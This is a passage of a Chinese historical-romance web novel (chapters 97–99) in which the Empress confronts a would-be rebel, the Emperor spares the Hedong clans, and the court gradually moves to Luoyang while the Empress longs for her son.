她说到这里就叹了口气,还是觉得明珠暗投,桓姐姐实在太给袁煦脸了。可是桓姐姐就是喜欢他,没办法。袁煦那副相貌吧,也确实还是说得过去。她想到这儿就看了看面前自家夫君,看看他的眼睛鼻子,还有线条流畅的胸腹,心里就感慨,当年还是不够理解桓姐姐的心,现在她才是真的懂了。
乌兰徵让她那眼神看得心里毛毛的,凑过去小声道:“我可没要你做贤妻吧?你是妒妇我也喜欢。”
明绰便委屈地撇撇嘴:“陛下说我是妒妇?”
这话是当年她自己说过的,不做贤后,要做妒妇。乌兰徵才不上她的当:“欲加之罪。”
明绰便凑上来,不依不饶的:“那我不贤惠吗?”
“咸,可太咸了。”乌兰徵低头吃菜,“拿杯水来。”
明绰“咯咯”地笑,给他倒了杯水。乌兰徵接过来,看她笑得开心,眼里便化开了什么似的,又把话拉回来:“怎么?杨夫人也是太喜欢郑徇了才这样听话?”
“那倒也不一定。”明绰若有所思的,“女人的柔顺有时是没有办法,不代表她心里真的没有主意。我是觉得她和桓姐姐一样,其实外柔内刚……”
她话音未落,门口就响起了冬青的声音:“杨夫人怎么来了?”
杨元姝的声音紧接着传进来:“我有要事求见皇后!”
房中二人俱是一愣,明绰有一种背后议人是非被抓个正着的慌乱,赶紧推乌兰徵起来。乌兰徵虽说不想让人知道身份,但他做了那么久的皇帝,从来没有见了谁要躲的道理。明绰见他不动,又到处找他寝衣:“穿件衣服吧你!”
乌兰徵被她一件衣服兜头砸下来,又不情不愿地被她拽起来推到了屏风边,挣扎着说:“冬青又不会放……”
果然,冬青在门口阻道:“皇后不胜酒力,已经歇下了,夫人有什么事还是——诶?夫人!”
门突然被打开了。明绰险而又险地从屏风旁边转过脸来,正看见杨元姝闯了进来。冬青已经满脸的恼火,石简也听见动静往这边来,准备把这妇人强拉出去。但是杨元姝也没有真闯进来,就站在门口,视线先是落到了饭桌上两人的碗筷上,然后又看见了屏风上搭着的那件甲。
她的脸上一下子露出了恐惧与了然参半的神情,好像她头上一直悬着的那柄剑到底还是落下了。
“夫人。”冬青沉着声音追上来,“虽是在夫人家中,也不可冲撞了皇后!石将军——”
明绰抬了抬手,示意石简不用动手。杨元姝的脸色不对劲。
“夫人,”明绰往前走了一步,“有何要事一定要见本宫?”
杨元姝转过脸来看她,双腿一软,颓然地跪倒在地,泪如雨下:“求皇后……宽恕河东全族的性命!”
明绰只微微一怔便明白过来了,语气十分放松:“夫人放心吧,我知道诸位只是喝多了酒。陛下不是那么小气的人。”
屏风后的影子微微动了动,显然有些人对“不是那么小气”有些意见,但没提得出来。
明绰上前去扶:“夫人起来吧。”
杨元姝没有起来,她的脸非常白,眼睛里却充了血,红得吓人,额上迸出了一条细弱的青筋,压抑着极大的情绪。明绰被她的表情吓了一跳,杨元姝突然挣开她,膝行数步,朝着屏风狠狠磕了个头:“陛下!我夫君有罪,但郑、杨两族无辜!河东百姓无辜!求陛下宽恕!”
房中顿时一片寂静,连明绰都愣在了那里。下一刻,屏风后的人影动了。
乌兰徵走了出来,已经披上了那件寝衣,只是襟口未合,长发未束,看起来就像寻常富庶人家中正与妻子用饭的男人。但是站在跪伏在地,瑟瑟发抖的妇人面前,却高大威严得如一尊神明。
“说吧,”乌兰徵垂下眼睛看她,“你夫君何罪之有?”
第97章
烛影摇曳,将郑徇独坐桌前的身影拉得很长。他的两个兄弟和杨焕都让他支使下去调动人手了,吵吵嚷嚷了好几个时辰,书房里总算安静下来片刻,他将佩剑放在膝盖上,手指一寸寸地抚摸过剑鞘上繁复华丽的纹路,仿佛抚过自己曲折幽邃的野心。
他闭上眼,又把攻占洛阳的路线在心里演练了一遍。郑徇心中看不起他内兄,也不打算听他的。立刻剑指长安是不现实的,先夺下洛阳方可徐徐图之。杨焕的狂妄来自于软弱与无知,他一生都没有真正上过战场,也没有和乌兰郁弗交过手,但是郑徇有。北地许多人都没有挡得住乌兰郁弗的铁骑,但他守住了河东——尽管是以折腰称臣为代价,但这不妨碍郑徇自认当世豪杰人物,他知道,他不过是差了一点气运。
现在,机会终于来了。也许杨焕的狂妄未必不可以实现。
郑徇心中涌起一股豪情,想到昔年多少豪杰,都是从几乎必死的绝境中被命运选择,他甚至感到夜空中的群星都看着他,为他指路。
“天道在我。”他站起来踱了两步,“天道在我!”
他的声音盖过了门口的脚步声,房门突然被推开,郑徇猛地转过脸来,下意识拔剑出鞘。天色已暗,他未添烛,只能看见暗中依稀是个女子的身形。他心里定了一半,只道是自己的夫人:“元姝。”
那女子没答,只是静静地站在门口。郑徇回转过身,将剑重新插回鞘中:“事情我已经都安排好了,你早些休息就好,不必担心。”
“郑公安排好了什么?”
郑徇整个人一僵,似是不敢相信他听到了谁的声音。脚步声又响起来,他听出了女子衣饰上的环佩与鬓间发饰极轻的声音。只是几步,却走得那么漫长。郑徇僵硬地转过了身,看见微弱的烛影下,映出了萧皇后的脸。
“郑公,”明绰一双眼睛看定他,又问了一遍,一字一顿,“你安排好了什么?”
烛影突然映出利刃的寒霜。
杨元姝跪伏在地,全身都控制不住地抖。她还是朝向屏风的方向,但乌兰徵已经到了她的侧边,正坐在桌边,没事儿人似的吃饭。杨元姝不知道自己是不是应该也跟着转过去面对陛下,但是她不敢动,更不敢说话,恨不得能把自己原地抹除。
不断有人进进出出,向乌兰徵汇报情况。在得知郑徇的计划之后,乌兰徵没有半点的恐惧与失措,甚至笑了一声。然后杨元姝就看着他点了几个人,让他们出去盯着。对于蒲城什么地方能囤兵,军队到郑府能走什么路线,甚至连城中武库在哪里他都已经一清二楚,好像整座蒲城在他眼中就是透明的。杨元姝就是在那个时候明白她做对了,她的夫君在乌兰徵手里根本没有胜算。但又被更深的恐惧所攫取,乌兰徵是什么时候了解了蒲城的城防?这才是他白龙鱼服进城的真正目的吗?他是不是从一开始就没打算放过河东?
“石简!”乌兰徵突然喝了一声,杨元姝整个人猛地一颤,连跪也跪不住,整个人抽去了筋骨一般瘫软在地。但乌兰徵看也没看她,他突然发现石简居然还守在院中,把他叫了进来。
石简走进门:“陛下!”
“谁让你留在这儿的?”乌兰徵皱起眉,“朕不是让你跟在皇后身边么?”
“臣……”石简顿了顿,突然肃然道,“保护陛下,才是臣的第一要务!”
乌兰徵很不耐烦:“朕要你保护什么?”
石简跪了下来:“陛下自有天佑,但天若有失,我为人臣,当为陛下……”
“别给朕来这套!”乌兰徵打断他,“马上去皇后那里,她少一根头发,你提头来见!”
石简立刻站起来,领命而去,走到门口了,乌兰徵却又叫了他一声。石简再次回头,看见乌兰徵打量了他一眼,语气竟有些不太情愿似的:“你的忠心,朕知道了。”
乌兰徵本来就习惯用西海将士,他自己都意识不到这层偏心。石简此人又有些别扭心思,知道当初得罪过陛下,难免自伤。乌兰徵也不是不用他,但就是没这么信任。刚才皇后出门的时候石简确实跟上了,但是皇后突然对他说,让他回去守着陛下——不用一直守着,但必须在陛下面前露个脸。
当时石简不明白为什么,眼下听到乌兰徵这句话,心中便是一动。他也没说什么,撩袍下跪,规规矩矩地给乌兰徵又行了个礼,不等他再赶,便站起来转身跑了。跑得很急,全身的甲片彼此碰撞出很大的动静,生怕晚到了半刻,皇后便会有什么危险。
乌兰徵没说话,皱着眉头看着石简消失的背影。杨元姝支撑着自己跪好,颤着声音:“陛下,我夫君若,若……陛下可……可挟持妾……妾愿以身相代,代……只,只求陛下……”
乌兰徵好像终于想起来她还在房中,垂头看了她一眼,然后继续吃桌上一道炙鱼。杨元姝转过来才发现乌兰徵只是挑鱼刺,把鱼肉都堆在了皇后碟中。她一时竟然忘记了眼下是什么情形,愣愣地看着乌兰徵的动作,直到他重新开了口。
“朕不挟持女人。”
杨元姝把头磕下去:“陛下——”
乌兰徵低头看她:“但你夫君会吗?”
“本宫在问你话!”
明绰看着郑徇第二次拔出来的剑,剑锋离她极近,但她只垂眼一扫,好像那吹毛断刃的利器不过是小儿玩物,然后抬起头重新看定了郑徇的眼睛,继续往前走了一步。
郑徇没忍住往后一退,看着皇后冰冷的眼神,方才“天道在我”的豪情瞬间被冻成了一块冷硬的石头,压在了他胸口。皇后显然已经知道了,但是她怎么知道的?郑徇在心里飞快地闪过几个念头,是他那贪生怕死、软弱无能的兄弟?还是杨焕父子?事以密成,事以密成啊!他脑海中只有这四个字,如黄钟大吕一般,震得他耳朵里嗡嗡作响。他就不该让这几个人离开他的视线!有人告密,那乌兰徵也已经知道了吗?他若是传令出城——不会的,他已经让家奴通传下去封闭城门了——可是!
他的念头转得就和他的心跳一样快,家奴靠得住吗?如果都已经有人告密了……
明绰看着他的眼睛,好像看出来他已经快把自己吓死了,骤然提高了声音:“说话!”
郑徇横下一条心,两只手都抓住了剑柄,下了极大的力气一般把剑刃横过来,威胁地抵在明绰的皮肤上:“你们势单力薄,乌兰徵今夜必命丧于此!皇后还是识相些,免得见血!”
但明绰好像根本没感觉到贴着脖子的寒刃,伸手捏住剑刃,不屑地往旁边一甩。她分明也没用多少力气,但郑徇没料到她不怕,竟被她甩了开去,一时怔住。
“你当本宫没见过血?”明绰也没后退,反而又逼近了一步,盯紧了他的眼睛,“我十四岁就见过长沙王谋逆了,他也把剑架到了我的脖子上——”她眯起眼睛,露出一个美艳却可怕的笑意,“郑公猜猜,最后人头落地的是谁?”
她不怕。她竟然不怕!郑徇终于意识到了计划中一个极为可怕的漏洞——他们控制得了这个皇后吗?就算能顺利伏杀乌兰徵,皇后会不会立刻踏平河东?
郑徇深吸一口气,努力稳住心神,眼底迸出一股杀意:“萧皇后,我本不愿……”
“不愿什么?”明绰咄咄逼人。
郑徇狠狠咬牙:“我顾念故国之情……”
“你与本宫有什么故国之情?”明绰打断他,“郑氏是舍命护过前梁南渡,还是从龙有功,定过我大雍基业?”
明绰一边说,一边继续往前。郑徇已被她逼至案前,无路可退,剑锋太近,他已被明绰拨开过一次,竟横到她脖子上就可笑了,他一时不知道如何是好,竟下意识屈臂横剑。只是这一个动作,就把他的那股杀意全部泄光。郑徇自知气短,只能又尴尬又局促地说:“我不愿跟女子动手!”
他话音未落,明绰抬起手就打了他一巴掌。打得干脆利落,郑徇愣在那里,好一会儿才反应过来:“你——”
明绰根本不让他说话,抬手又是一巴掌,这一次打得郑徇头都歪了过去。
石简适时地闯进来,听见声响还以为郑徇动了手,急得什么似的,进门一看却见郑徇捂着脸的狼狈样子,顿时也愣在那里。
明绰头也没回:“出去!”
石简马上听令:“是!”
郑徇见到石简到了,顿时连强撑出来的凶狠都支撑不住。手里一松,长剑“铮”的一声,落在了地上。他看着眼前的年轻女子,只看到幽暗的烛光映在她眼中,竟有摄人的寒意。
“本宫一番筹谋……竟要毁在你手里!”
明绰说得咬牙切齿,她是真没想到郑徇竟会做出这种蠢事。杨元姝跪在地上边哭边说的时候,明绰感觉她已经把夫君狠心舍了出去,只想保全族其他人的性命。她恳求乌兰徵让她先来跟郑徇谈一谈的时候,竟然成了比杨元姝还要更想她夫君能活下来的人。
过来的路上,她一点儿都没有想到郑徇可能会狗急跳墙对她不利,满脑子只有这两巴掌。
“陛下已经一统北方,现在天下姓的就是乌兰!大司马乙满掌全国军务,羽林军尽归贺儿库莫乞,他们手里都是累世不迁的军功!乌兰亲族七大姓,在长安根深蒂固,位高权重——你们躲在自己的老家,灌两口黄汤,唱两句酸诗,天下就能回到汉人手里了?”明绰气得胸膛剧烈起伏,“本宫征召你的侄儿,就是为了让所有的北地世家都看看,到时候人才尽归洛阳,本宫才能和乌兰七大亲族平起平坐,汉人才能在大燕有一席之地!”
郑徇被她骂得下唇剧颤,双膝一软,已经不自觉跪了下去:“皇后……”
“河东若肯归心,高官厚爵,你要什么本宫不给你!”明绰低头看着他,神色如看一条狗,“郑公负我实深。”
她不惧刀剑,已震碎了郑徇的自以为是,强撑出来的狂妄如云烟散去之后,便只有深入骨髓的恐惧。皇后此时又说出这番筹谋,威吓之外便还有一层“自家人”的怒其不争。郑徇又惊又惧,愧之悔之,竟是脑子里一片空白,什么都说不出来了。
明绰转头就走,郑徇突然反应过来,膝行上前,不顾一切地拽住了她的裙角:“皇后!求皇后救我!”
“救你?”明绰照着他脸啐了一口,“你想杀我夫君,谋我孩儿,还要我救你?”
“臣知错了!”郑徇猛地把头磕下去,冷汗和眼泪一起糊了满脸,“臣真的知错了……皇后救救我!”
明绰深深吸了两口气,嫌恶地看着抱住她腿痛哭流涕的男人。她真恨不得亲自提刀斩了这蠢货,可此人偏偏杀不得。北地所有的世家都看着河东呢。
“还不算太迟。”明绰听够了他的嚎哭,终于冷冷地开了口,“陛下还不知道此事。”
郑徇全身都僵在那里,突然看到了活命的一丝希望,抬起头难以置信地看着明绰:“当真?”
假的。恐怕现在整个郑府都已经被石简带来的“那点人”控制了。可能就在他们说话这个功夫,弓手已经在外面对准这蠢货的脑袋。
但是乌兰徵也答应了她,只要郑徇还没有真的动手,他可以当做不知道,再给他一次机会。
明绰伸出手,狠狠地捏住了他的下巴,极具威压地俯身:“要本宫保你,郑公又以何为报呢?”
“妾愿一死,求陛下……”
乌兰徵突然把筷子一放,动作有点重,“咄”的一声。杨元姝又是一惊一乍地到抽一口冷气,不敢说话了。乌兰徵让她哭得有点儿心烦,他实在是很不喜欢听女人哭。
乌兰徵看了她一眼,见她一副吓得快要昏过去的样子,只好耐着性子道:“朕不会屠城。”
杨元姝战战兢兢地抬头看了他一眼,忙道:“陛下仁慈——”
“不是朕仁慈。”乌兰徵打断她,“是已经答应过皇后了。”
他知道河东对于明绰的筹谋来说有多重要,若失河东,迁洛阳就失去了一半的意义。他既然允许了明绰去找郑徇谈,就会遵守诺言——前提是,郑徇识时务。
不然的话,他也不会手软。
杨元姝也听到了明绰恳求乌兰徵时约定好的话,听出了乌兰徵的言外之意,便更添了一层恐惧。明明得到的是不屠城的承诺,她却觉得还有更可怕的命运在等着她和她的家人。乌兰徵不需要做出什么威胁,他轻描淡写之下,就已经是绝对的生杀予夺。
乌兰徵不明白他都已经承诺不屠城了这女人怎么又哭,不由头疼地揉了揉太阳穴。好一会儿,突然鬼使神差地问了一句:“你们既认定乌兰人都跟野兽一样,何必又来求朕?”
杨元姝没想到陛下突然跟她这样说话,咬紧了下唇,两只手的手指互相绞着,没有回答。
乌兰徵:“你夫君奋起反抗也是天经地义,或许本来还有一线生机,你就不怕你这一状告的,彻底绝了他这一线生机吗?”
怕。她也想过了这一层,所以才会汗湿夹衣,魂不守舍。但乌兰徵的语气给了她某种暗示,杨元姝心思转得飞快,突然道:“妾不觉得乌兰人都跟野兽一样。”
乌兰徵转过头看了她一眼。杨元姝也不知道哪里来的一股勇气,声调平稳了一些:“今日皇后对妾说了一句话,若非河东受胡风渐染,今日都不会有男女同席之乐。妾觉得皇后说得有道理……”
她生在河东,从小耳濡目染,都是蛮夷如何凶残暴虐不开化,南方才是礼乐上国。可是皇后却说,建康的宴饮玩乐并没有女子列席的份。那这儒学教化与蛮夷胡风,真就如此高下悬殊,良莠分明吗?
“妾不懂那么多,”杨元姝承受不住乌兰徵的注视,又低下了头,“只是觉得,既然陛下做夫君比我的夫君要好,那乌兰人想来也不是那么……”
她不敢把那些话再重复一遍,只好又磕头:“陛下天恩浩荡!”
乌兰徵一
句话都没说,还是看着她。外面传来了脚步声,乌兰徵还未抬头,已经听见了冬青松一口气唤“皇后”的声音。
“夫人起来吧。”乌兰徵终于移开了视线,语气平淡,“河东,今晚算是让你救下了。”
第98章
明绰坚持认为,乌兰徵那天晚上跟杨元姝说那句话,就说明他本来是有屠城之意的。
乌兰徵倒是也供认不讳。明绰执意要单独去见郑徇,他就想了,若郑徇真敢挟持皇后,他会把整个河东都从地上抹去。
明绰瞪了他半天,好险把一句要冲到嘴边的“兀鲁蛮子”咽下去了。耐着性子跟他讲,为什么西海人总是被当成不开化的兽民,不就是因为不干人事儿?从前西海人进中原之地掳掠,打完了就跑,就算了,如今是要治理天下,若陛下还存着这种有伤天和的念头,那这归汉之策也别归了,她也别忙活了。
乌兰徵反而还不服起来。当初阿耶杀了很多汉人世家,但论起屠城,唯有漳郡。那是因为李氏效忠伪陈,害死了他的两个弟弟。他屠兀臧蛮,那也是为了报仇。他们父子屠城,都是因为深仇大恨,也不是无缘无故滥杀呀。
更何况,西海地广人稀,跟汉人主城的人口根本不能相提并论。前梁时候世家大族政斗争权,按着族谱斩草除根,赶尽杀绝,死的人不比西海一座城池还多?难道就不有伤天和了?怎么独独是他们西海人野蛮?
再说了,就为了漳郡那事儿,阿耶一直被汉人攻讦,连太后都指着鼻子骂过他。所以阿耶后来也深有悔意,跟他说过不能这么干了。更残暴的分明是羌人和渠搜人,是汉人自己分不清他们这些异族,一股脑把账都算西海人头上了。既然已经担了这个名声,他吓唬吓唬怎么了?不然河东会这么轻易识时务吗?
明绰竟然没有说得过他,半晌,还是只能站起来,掷地有声地骂了一句:“兀鲁蛮子!”转头就走了。
无论乌兰徵心里想过什么,河东到底是好好地活下来了。那晚无声的风刮散了原本已经悬在蒲城上空的血色阴云,乌兰徵自始至终没有露面,还是只作普通士卒打扮,怎么来的就怎么走了。郑徇主动上书,掏钱、出人,家底都快搬空了,承诺愿为陛下重建洛阳尽心尽力。乌兰徵这才轻飘飘地抛下一句,洛阳疫病已除,大军这就从蒲城外撤了。
走前还下了道旨,赏了杨氏一个郡君的封号,命郑徇在城中为夫人立碑颂德。
这还没完,回到洛阳之后,皇后又下了一纸招贤令。郑、杨二族中出了足足十六人,其余小族也有共计七人应召,一起进洛阳任官。除了少数人被派去管修建营造等实务,大部分还是去兴建洛阳汉学了。
皇后下了一份诏书,说得很清楚,长安的汉学旨在消弭胡汉之别,洛阳的学府则要复古称为“太学”,是为了精研儒学,培养士人,传承经典。两学并立,皆有选拔考核之责,为朝廷选官用人。
这是什么意思就很明确了。一时之间,天下士人纷纷涌至洛阳。
除了洛阳的旧皇城以外,各部门的官署、衙门都需重建,原本的流民现在都有了地方安置,有活儿干,也有饭吃。甚至加上了河东出的徭役人手都还不够,到了秋收时节,陛下只能派军队去割麦。人一多,东西两市就繁盛起来了,走商百工行于城中,人人看起来都很有奔头。原本残破不堪的古城,转眼便成了一等一的繁华去处。城中百姓提及萧皇后,无不感佩爱戴。
兴和八年冬,洛阳的尚书台府衙第一个修缮竣工,陛下传令长安,命萧典携尚书台中枢要员迁至洛阳听宣。
兴和九年初,原洛阳地方令方千绪因主理重建洛阳、处理时疫得宜等功进尚书台。至九年夏,第一批考核过关的太学生上殿面选,陛下与皇后亲自选出了两百多人,各自充尚书、中书、太府、鸿胪等处。就是这一年,乌兰徵下旨,以便利为由,命四方贡赋、文移皆送洛阳。连主管宗庙祭祀的太常寺也被下令从长安迁了过来。
到兴和十年年底,旧皇城中最主要的几个大殿终于修缮完毕,正殿为“东明堂”,为日常朝会群谒之所,帝后则同寝于东明堂后的“重华殿”。
兴和十一年初,帝后正式迁进了洛阳皇宫。方千绪升任尚书台左仆射。
这三年来,乌兰徵从来没有正式下过诏令立两都,但文武百官、朝廷枢机,都已经陆续迁至洛阳,再迟钝的人也看出来这是在做什么了。
只是,无论长安那边如何反对,乌兰徵都以“大军已在洛阳附近屯田驻兵,准备征漠北”的战略为理由回绝。好在西海权贵中军权最盛的两位也还跟着陛下在洛阳,恩宠一如从前,也就多少堵住了长安那边的抱怨声。但冯濂之于春时进洛阳述职,跟皇后说起,长安的“汉学”,已经几乎名存实亡了。
汉人们都已经跑到洛阳进了太学,有些愿识时务的西海人也已经到了洛阳。留守长安的只剩顽固的亲贵势力,不满皇后所为,自然也就不肯来上这个汉学了。洛阳越是繁荣昌盛,长安的西海权贵们就越是咬牙切齿。立国以来第一次,大燕朝中的胡汉势力达到了真正的平衡,但仔细一看,其实仍不相融,只是人为地隔绝开来了。归汉之策在长安已是彻底失败。
明绰正给牡丹剪枝,听到这话,手里的剪子便“咔嚓”一声,把一枝含苞牡丹剪了下来。
“太后怎么样?”她不动声色地把花举在手里。
冯濂之斟酌了一番,才回道:“太后如今与乌兰七大姓亲厚,尤其托庇于贺儿薄。”
明绰轻轻勾起了唇角,手指轻轻揉弄花蕊,一副要它现在就开的样子。
现在长安已经没有汉官势力了,太后权力的最大根基就这样被皇后抽到了洛阳。明绰不怀疑,像萧典这样的老臣对段太后肯定还是旧情如故,若还在长安,她要跟段太后争,不会这么简单。但现在不一样了,这旧情再深厚,终究是过不了潼关。
作为汉家太后,也是大燕最早推行归汉之策的人,乌兰亲族七大姓里她得罪过多少人啊?她又几时把贺儿薄放在眼里过?如今却要托庇于昔日仇雠的羽翼之下,冯濂之不过寥寥数语,明绰心里简直比这牡丹开得都盛了。
“那你呢?”明绰把牡丹比到了冯濂之的鬓角,嘴角还笑,“冯大人留守长安,不觉得委屈吗?不想到洛阳谋个新前程吗?”
冯濂之:“洛阳人才济济,臣才疏学浅,怕是比不过别人。”
明绰手指动了动,把牡丹插|进了冯濂之鬓角,别在了他耳上:“冯大人不必妄自菲薄,你是早就跟着本宫的人,别人也比不上你——郎君簪花,也是俏啊。”
冯濂之闻言便只笑了笑,任那半开牡丹别在鬓边,闻得香风阵阵。明绰仔细端详了他一会儿,忽然道:“汉学是他心血,空付东流,我知你不舍。”
冯濂之神色微怔,好一会儿,低了头,只是很简单地说了一句:“是他太天真了。”
学一学彼此的语言就想消弭两族之间的矛盾和成见,终究只是那人的一厢情愿——明绰也曾经这样一厢情愿地相信过。但是现在她明白了,这种事情不是东风压倒西风,就是西风压倒东风。处在下风口的时候,想得再好,也只能是一厢情愿。当年费了那么大力气哄着他们学汉话、信佛陀,斗得她筋疲力尽,倒不如洛阳的东风一拂,有的是人愿来领略这春暖人醉。
明绰轻轻叹了口气,最后问了一遍:“你当真不来洛阳吗?”
冯濂之的声音很轻:“皇长子仍在长安,皇后总要留一双眼睛。”
明绰看了他一会儿,伸手在他手背上轻轻一搭,说得非常真诚:“冯大人的恩情,本宫不会忘。”
“臣不敢。”
明绰转过身,示意他继续陪自己在这园子里走走。洛阳宫城还是太简陋了,大部分的地方还在修,但是明绰尽量让重华殿住起来舒服一些,园子里的花是她特意征召了花匠来精心打理过的。不过冯濂之拘束,走在她身边也一直低着头,显然根本没把这春和景明看进眼里去。
明绰又问:“皇贵妃还病着吗?”
当初是想好了她和乌兰徵亲自回去接晔儿,但是他们意料之中地没抽出空来。乌兰徵去年又带兵进漠北了,洛阳百废待兴,所有的政事都落到了皇后肩上。她只能下旨,让皇贵妃泰赤哈氏带着皇长子进洛阳。
然而长安回复,皇贵妃病了,不好上路。
人家替她养了这么几年孩子,没让晔儿落入段太后手中,明绰也不好意思太强硬。而且她将心比心,就是养个小猫小狗养这么几年也是有感情的,她也不忍心让泰赤哈氏就此再也见不到晔儿。长安那些后宫嫔妃她一个都没打算迁来洛阳,但为了泰赤哈氏,她亲自准备好了一个单独的寝
殿。皇后下旨,宽限皇贵妃养好了病再动身。
可是泰赤哈氏这一病,已病了足足四个月。
冯濂之也不跟她委婉:“有人不想让皇贵妃的病好。”
意料之中。明绰微微低头,硬是忍下了心头掠过的恨意。
“晔儿如今生得多高了?”
冯濂之便伸手比划了一下,约莫到他大腿处,想了想,又不太确定,往上又拔了拔,都快到他腰了。
明绰被他这个动作逗笑了,可还没笑完,眼泪便涌了出来,她只好装作被风迷了眼,扭过脸去一擦,又道:“四岁的小孩子,能有这么高?”
“皇长子随了陛下,比寻常孩子高。”冯濂之顿了顿,又道,“眼睛像皇后。”
“胡说,”明绰不信,“晔儿一生下来,那重睑和深眼窝就一点儿都不像我。你别哄我。”
冯濂之笑了笑:“但皇长子是黑瞳,像皇后。”
明绰脚下一顿,还是没忍住眼中露出期待之色:“可是他生下来的时候瞳孔很淡……”
“小孩子长着长着,瞳色会变的。”
“当真?”
冯濂之确认什么似的:“皇长子一看,就是陛下和皇后的孩子。”
明绰看起来又要落泪了,略有些尴尬地笑了笑,掩饰她下唇的剧颤。冯濂之很体贴地垂了眼,姿态恭敬,假装根本没看到皇后的失态。明绰平复下心绪,又问:“那晔儿知道我才是他娘吗?”
“知道。”冯濂之答得毫不犹豫,“皇贵妃不敢僭越,皇长子知道自己是皇后所出,是陛下唯一的嫡子。”
“那他……”明绰几乎不敢问,“他想我吗?他会问起我吗?”
冯濂之不答了,明绰愣了一下,自己也意识到这个问题问得太过了,冯濂之怎么会知道呢?他又不是日日照顾皇长子的人。
这几年,秋桑的信倒是多了,因为晔儿大了,有更多的事情可以记了。晔儿到两岁都不会说话,当时好多人都以为皇长子要么脑子是坏的,要么耳朵有问题。秋桑一直不敢说实话,后来明绰从别人那里知道了,急得都已经准备抛下一切回长安,秋桑的信又来了,说晔儿突然开口了,而且一开口就把汉话和乌兰语都说得很顺。方千绪说,想来是因为保母和秋桑都是汉女,但泰赤哈氏又是西海人,自小跟晔儿两种语言混着说,把他给说糊涂了。
从那以后,皇长子的早慧就传遍了长安和洛阳。他虽还未开蒙识字,但记忆极佳,过耳不忘,漫长的经文听一遍就能一字不差地复述。且性格沉静,几乎不像个孩子,明绰不止一次听到从长安出公差回来的大臣跟她说,皇长子“庄重慎行,少而言中”,已经有个明君的苗子样在了……林林总总,听了不知道多少。
明绰想尽了一切办法,让晔儿知道母后没有忘记他。几乎每隔一个月她都会送大量的东西回长安给孩子,她能想到的,晔儿用得上的用不上的,各地贡上来的新奇玩意儿……秋桑也常常写信回复,说皇长子喜欢这个,不喜欢那个。
唯独没有人告诉她,她的儿子想不想她,是不是也跟她一样,有些时候痛苦得身上都在发疼,像一块好不了的旧伤,一到阴雨天就发作。
她已经不知道有多少次想过,什么都不管了,亲自回长安接晔儿。但是方千绪总是警告她,回去了就一定会被绊住。有人会想尽办法制止她再回到洛阳,如果实在制止不了皇后,至少也会扣住皇长子——这不已经每个月都在上书要求陛下和皇后回长安立太子了吗?
明绰有的时候觉得,长安关着一头巨兽。她以自己的儿子为饵,才引得这头巨兽乖乖进了牢笼。然后她断了水,断了食,要用时间来杀死这头她无法正面与之相搏的巨兽。现在这头巨兽就快死了,它在发出绝望的哀嚎,试图用她的儿子诱她回去。
可是濒死的巨兽才是最危险的。
冯濂之见她神色凄然,到底还是温声安慰了一句:“母子亲情是天性,哪会不想呢?”
明绰感觉到他的善意,转头朝他笑了笑:“本宫托冯大人一件事。”
“听凭皇后吩咐。”
“皇长子也该开蒙识字了,冯大人回长安以后,就兼领太傅一职,去教他读书吧。”
冯濂之明显愣了一下。太傅素有“帝师”之号,尤其皇长子被立为太子只是时间问题,那么太子太傅就兼有辅政大臣的职责。这种职位通常是权臣宗亲兼领,不是他一个奴隶出身的人能够担任的。他连忙跪了下来:“皇后抬爱,臣不敢!若皇后放心,臣可领文学博士一职,为皇长子开蒙,但太傅一职,臣实在不能受领!”
“你不敢,步察巴合可就上了。”
冯濂之顿了顿,不由露出了一个苦笑:“皇后既知道,那臣就算胆大包天领了太傅一职,在长安也做不长久。”
这倒也是实情。明绰叹了口气,伸手到他肘下:“起来吧。那你就先做文学博士,其余的我再想办法。晔儿交到你手上,我才放心。”
冯濂之谢了恩,站起了身。明绰抬起眼,正看见花园小径的尽头有宫人引着朝臣模样的人走近,不多时,便露出方千绪的脸。
“哦,冯大人又来洛阳了。”方千绪老远就看见了冯濂之,给皇后行完礼就马上招呼他。他知道冯濂之也是皇后的人,故而态度相当亲热。但冯濂之很规矩,尚书台左仆射位同副相,掌的是实务,方千绪如今是洛阳第一人,他便低头行礼,十分恭敬地和朝中所有人一样唤他:“左公。”
他一眼看见了方千绪手中所持黄封军报,封皮上以朱笔写了“急奏”二字,立刻识相地要退避,但是明绰示意他不必走,让方千绪直说。
方千绪双手呈上了军报,封皮已经打开过,显然尚书台看过了。明绰抽出来,飞快地扫过这段时间的各场战役胜负通告。
“前线回报,”方千绪直接给她讲了最重要的那条消息,“贺儿库莫乞半月前遇慕怛骑兵于夷塞,中了埋伏,全军覆没……”
明绰猛地抬起了头:“他死了?!”
“没有。”方千绪摇了摇头,“他被慕怛人生擒了。”
第99章
当年在平城与谢维见过一面之后,乌兰徵留了一支三万人的队伍在后方,得知袁增果然班师之后,便命大将拓莫阙绕过幽州,去收回了辽东。
乌兰徵这一次领兵进漠北,就是得到了拓莫阙的确切消息,拔拔兀舒骨活下来了。他竟然平安地穿过了慕怛人的地盘,残部聚集到了图们江一带的扶余,离辽东已经非常近了。
扶余本是一个小国,和辽东隔着白头山和辽河相望,互不相犯。扶余国这一代是女王当家,看上了拔拔兀舒骨,嫁给他了。然后辽东就没了安宁,拔拔兀舒骨旧恨难消,总是伺机来犯。
乌兰徵准备去灭扶余国,提前了大半年就派人进漠北,跟慕怛人耐心周旋,礼物那是一车一车地送,意思是大燕就借个道,没有别的想法,而且大燕跟贺阆也打过架,这敌人的敌人就是朋友嘛!慕怛部的首领是礼也收了,酒也喝了,答应得好好的。结果突然来了这么一下,居然把贺儿库莫乞给抓走了。
原来人家根本就不信乌兰徵。他打完了扶余,肯定是要把慕怛人一起收拾了,才方便走这条路。请神容易送神难这句话,慕怛人不会讲,但这个道理,人家是懂的。
实际上乌兰徵也确实是这么想的,只是还没来得及撕破脸。他可以算计人家,但是被人家反过来算计了,乌兰徵就怒了。
现在他不只是要打扶余国,他还要把慕怛人连窝端了。
漠北太远,洛阳每收到一封战报,都要延迟至少一个月。整个兴和十一年,明绰就是等战报。难得长安那边也不捣乱了,都紧张得不行。
乌兰亲族七大姓中,并不包括乙满。就连他养父齐木格当年也没有多么显贵的出身,更别说他这么个因赤发被视为妖邪遗弃的孤儿。虽然现在西海权贵们拧成了一股绳对抗皇后,但内部还是看不上乙满这赤发儿。贺儿库莫乞骁勇善战,出身名门,还跟陛下从小一起长大,感情深厚……他才是长安的权贵们最认可的那个独苗苗、心尖尖。
现在贺儿库莫乞落在了慕怛人手里,生死未卜,西海权贵们都吓得魂不附体。贺儿薄每隔半个月就要来上书哭他孙子,觉得是皇后阻隔了通信,不让他知道漠北到底发生了什么。
